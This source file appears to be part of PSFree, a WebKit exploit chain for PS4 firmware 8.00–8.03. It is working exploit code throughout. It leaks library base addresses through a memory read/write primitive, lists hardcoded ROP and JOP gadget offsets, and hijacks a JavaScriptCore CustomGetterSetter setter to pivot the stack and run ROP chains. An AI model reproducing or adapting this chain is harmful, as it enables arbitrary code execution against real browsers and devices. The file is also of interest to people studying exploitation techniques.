/* Copyright (C) 2023-2025 anonymous

This file is part of PSFree.

PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.

PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.  */

// 8.00, 8.01, 8.03

import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase, get_gadget } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";

import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";

import * as off from "../../module/offset.mjs";

// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x8d8;
const offset_wk_strlen = 0x918;

// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;

// gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
jmp qword ptr [rax]
`;
const jop5 = "pop rsp; ret";

// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
//     mov rsp, rbp
//     pop rbp

const webkit_gadget_offsets = new Map(
  Object.entries({
    "pop rax; ret": 0x0000000000035a1b, // `58 c3`
    "pop rbx; ret": 0x000000000001537c, // `5b c3`
    "pop rcx; ret": 0x0000000000025ecb, // `59 c3`
    "pop rdx; ret": 0x0000000000060f52, // `5a c3`

    "pop rbp; ret": 0x00000000000000b6, // `5d c3`
    "pop rsi; ret": 0x000000000003bd77, // `5e c3`
    "pop rdi; ret": 0x00000000001e3f87, // `5f c3`
    "pop rsp; ret": 0x00000000000bf669, // `5c c3`

    "pop r8; ret": 0x00000000005ee860, // `41 58 c3`
    "pop r9; ret": 0x00000000006f501f, // `47 59 c3`
    "pop r10; ret": 0x0000000000060f51, // `47 5a c3`
    "pop r11; ret": 0x00000000013cad93, // `41 5b c3`

    "pop r12; ret": 0x0000000000d8968d, // `41 5c c3`
    "pop r13; ret": 0x00000000019a0edb, // `41 5d c3`
    "pop r14; ret": 0x000000000003bd76, // `41 5e c3`
    "pop r15; ret": 0x00000000002499df, // `41 5f c3`

    "ret": 0x0000000000000032, // `c3`
    "leave; ret": 0x0000000000291fd7, // `c9 c3`

    "mov rax, qword ptr [rax]; ret": 0x000000000002dc62, // `48 8b 00 c3`
    "mov qword ptr [rdi], rax; ret": 0x000000000005b1bb, // `48 89 07 c3`
    "mov dword ptr [rdi], eax; ret": 0x000000000001f864, // `89 07 c3`
    "mov dword ptr [rax], esi; ret": 0x00000000002915bc, // `89 30 c3`

    [jop1]: 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
    [jop2]: 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
    [jop3]: 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
    [jop4]: 0x0000000001ef0d16, // `52 ff 20`
    [jop5]: 0x00000000000bf669, // `5c c3`
  }),
);

const libc_gadget_offsets = new Map(
  Object.entries({
    "getcontext": 0x258f4,
    "setcontext": 0x29c58,
  }),
);

const libkernel_gadget_offsets = new Map(
  Object.entries({
    // returns the location of errno
    "__error": 0x160c0,
  }),
);

export const gadgets = new Map();

function get_bases() {
  const textarea = document.createElement("textarea");
  const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
  const textarea_vtable = webcore_textarea.readp(0);
  const off_ta_vt = 0x236d4a0;
  const libwebkit_base = textarea_vtable.sub(off_ta_vt);

  const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
  const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
  const off_scf = 0x12a30;
  const libkernel_base = stack_chk_fail_addr.sub(off_scf);

  const strlen_import = libwebkit_base.add(offset_wk_strlen);
  const strlen_addr = resolve_import(strlen_import);
  const off_strlen = 0x4eb80;
  const libc_base = strlen_addr.sub(off_strlen);

  return [libwebkit_base, libkernel_base, libc_base];
}

export function init_gadget_map(gadget_map, offset_map, base_addr) {
  for (const [insn, offset] of offset_map) {
    gadget_map.set(insn, base_addr.add(offset));
  }
}

class Chain800Base extends ChainBase {
  push_end() {
    this.push_gadget("leave; ret");
  }

  push_get_retval() {
    this.push_gadget("pop rdi; ret");
    this.push_value(this.retval_addr);
    this.push_gadget("mov qword ptr [rdi], rax; ret");
  }

  push_get_errno() {
    this.push_gadget("pop rdi; ret");
    this.push_value(this.errno_addr);

    this.push_call(this.get_gadget("__error"));

    this.push_gadget("mov rax, qword ptr [rax]; ret");
    this.push_gadget("mov dword ptr [rdi], eax; ret");
  }

  push_clear_errno() {
    this.push_call(this.get_gadget("__error"));
    this.push_gadget("pop rsi; ret");
    this.push_value(0);
    this.push_gadget("mov dword ptr [rax], esi; ret");
  }
}

export class Chain800 extends Chain800Base {
  constructor() {
    super();
    const [rdx, rdx_bak] = mem.gc_alloc(0x58);
    rdx.write64(off.js_cell, this._empty_cell);
    rdx.write64(0x50, this.stack_addr);
    this._rsp = mem.fakeobj(rdx);
  }

  run() {
    this.check_allow_run();
    this._rop.launch = this._rsp;
    this.dirty();
  }
}

export const Chain = Chain800;

export function init(Chain) {
  const syscall_array = [];
  [libwebkit_base, libkernel_base, libc_base] = get_bases();

  init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
  init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
  init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
  init_syscall_array(syscall_array, libkernel_base, 300 * KB);

  let gs = Object.getOwnPropertyDescriptor(window, "location").set;
  // JSCustomGetterSetter.m_getterSetter
  gs = mem.addrof(gs).readp(0x28);

  // sizeof JSC::CustomGetterSetter
  const size_cgs = 0x18;
  const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
  mem.cpy(gc_buf, gs, size_cgs);
  // JSC::CustomGetterSetter.m_setter
  gc_buf.write64(0x10, get_gadget(gadgets, jop1));

  const proto = Chain.prototype;
  // _rop must have a descriptor initially in order for the structure to pass
  // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
  // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
  // checks for any descriptor to run
  //
  // the butterfly's indexing type must be something the GC won't inspect
  // like DoubleShape. it will be used to store the JOP table's pointer
  const _rop = {
    get launch() {
      throw Error("never call");
    },
    0: 1.1,
  };
  // replace .launch with the actual custom getter/setter
  mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
  proto._rop = _rop;

  // JOP table
  const rax_ptrs = new BufferView(0x100);
  const rax_ptrs_p = get_view_vector(rax_ptrs);
  proto._rax_ptrs = rax_ptrs;

  rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
  rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
  rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
  rax_ptrs.write64(0, get_gadget(gadgets, jop5));

  const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
  jop_buffer_p.write64(0, rax_ptrs_p);

  const empty = {};
  proto._empty_cell = mem.addrof(empty).read64(off.js_cell);

  Chain.init_class(gadgets, syscall_array);
}
